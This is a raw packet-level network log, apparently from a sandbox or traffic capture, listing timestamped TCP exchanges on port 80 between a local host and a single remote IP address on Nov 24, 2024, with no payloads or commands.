Nov 24, 2024 10:24:13.933130026 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.933166027 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.934134007 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.934178114 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.934207916 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.934247017 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.935269117 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.935323954 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.935328007 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.935364008 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.936440945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.936482906 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.936517954 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.936569929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.937567949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.937616110 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.937649965 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.937712908 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.938750029 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.938798904 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.938822985 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.938865900 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.939825058 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.939872026 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.939939022 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.939986944 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.940963030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.941010952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.941034079 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.941087961 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.942133904 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.942193031 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.942226887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.942277908 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.943205118 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.943264961 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.943363905 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.943408966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.944370985 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.944420099 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.944509983 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.944554090 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.945535898 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.945548058 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.945584059 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.945599079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.946737051 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.946793079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.946822882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.946870089 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.947757959 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.947812080 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.947818995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.947860956 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.948889017 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.948940039 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.949209929 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.949258089 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.950021982 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.950071096 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.950202942 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.950248003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.951178074 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.951225996 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.951227903 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.951276064 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.952275038 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.952322960 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.952425003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.952471018 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.953433990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.953479052 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.953540087 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.953581095 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.954556942 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.954612970 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.954617977 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.954660892 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.955679893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.955727100 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.955765009 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.955810070 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.956815004 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.956861019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.956971884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.957017899 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.957932949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.957978010 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.958012104 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.958055973 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.959074974 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.959122896 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.959197998 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.959244013 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.960195065 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.960243940 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.960304022 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.960342884 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.961318016 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.961364985 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.961450100 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.961493969 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.962466955 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.962516069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.962588072 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.962634087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.963627100 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.963661909 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.963681936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.963720083 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.964782000 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.964834929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.964924097 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.964963913 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.965854883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.965907097 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.965945005 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.965990067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.966983080 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.967030048 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.967056036 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.967101097 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.968158007 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.968206882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.968255043 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.968302011 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.969360113 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.969402075 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.969470024 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.969512939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.970443964 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.970493078 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.970563889 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.970616102 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.971551895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.971597910 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.971690893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.971729040 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.972688913 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.972735882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.972770929 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.972815037 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.973836899 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.973885059 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.973936081 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.973980904 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.974940062 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.974986076 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.975018978 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.975064039 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.976037025 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.976108074 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.976120949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.976164103 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.977344990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.977396965 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.977456093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.977500916 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.978765965 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.978821993 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.978862047 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.978903055 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.979868889 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.979890108 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.979922056 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.979943037 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.980741024 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.980767012 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.980792046 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.980807066 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.981713057 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.981759071 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.981798887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.981843948 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.982912064 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.982959986 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.983004093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.983047962 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.984123945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.984170914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.984190941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.984232903 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.985251904 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.985299110 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.985318899 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.985405922 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.986308098 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.986356974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.986378908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.986423969 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.987518072 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.987567902 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.129165888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.129241943 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.129255056 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.129292965 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.129735947 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.129787922 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.129823923 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.129873991 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.130856037 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.130901098 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.130919933 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.130948067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.131989002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.132065058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.132107019 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.132157087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.133131981 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.133179903 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.133223057 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.133272886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.134268045 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.134351015 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.134390116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.134434938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.135454893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.135507107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.135539055 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.135577917 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.136540890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.136593103 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.136632919 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.136677027 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.137685061 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.137732983 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.137768984 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.137818098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.138849020 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.138983965 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.139010906 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.139028072 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.140002012 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.140049934 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.140090942 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.140136003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.141097069 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.141148090 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.141226053 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.141271114 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.142193079 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.142250061 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.142302036 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.142349005 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.143310070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.143362045 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.143434048 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.143479109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.144455910 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.144500017 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.144556046 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.144601107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.145579100 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.145625114 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.145649910 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.145977974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.146733046 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.146781921 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.146852970 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.146893978 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.147830963 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.147878885 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.147953033 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.148000956 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.149039030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.149085999 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.149203062 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.149251938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.150362968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.150429964 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.150471926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.150471926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.151262999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.151324987 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.151390076 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.151434898 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.152498960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.152715921 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.152743101 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.152760029 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.153740883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.153793097 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.153856993 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.153901100 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.154905081 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.154957056 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.155026913 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.155076027 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.155812979 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.155858040 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.155898094 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.155941010 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.156913996 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.156960964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.157052994 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.157095909 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.158062935 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.158107996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.158250093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.158298016 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.159192085 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.159301996 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.159328938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.159344912 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.160311937 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.160357952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.160432100 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.160479069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.161443949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.161484003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.161560059 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.161602974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.162590981 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.162647009 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.162684917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.162730932 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.163719893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.163779974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.163816929 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.163866043 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.164841890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.164891005 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.164973021 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.165019035 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.166062117 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.166102886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.166112900 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.166151047 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.167108059 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.167157888 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.167217970 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.167268991 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.168282032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.168329000 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.168525934 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.168570995 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.169373989 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.169428110 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:14.169507027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:14.169554949 CET	49813	80	192.168.2.5	31.41.244.11
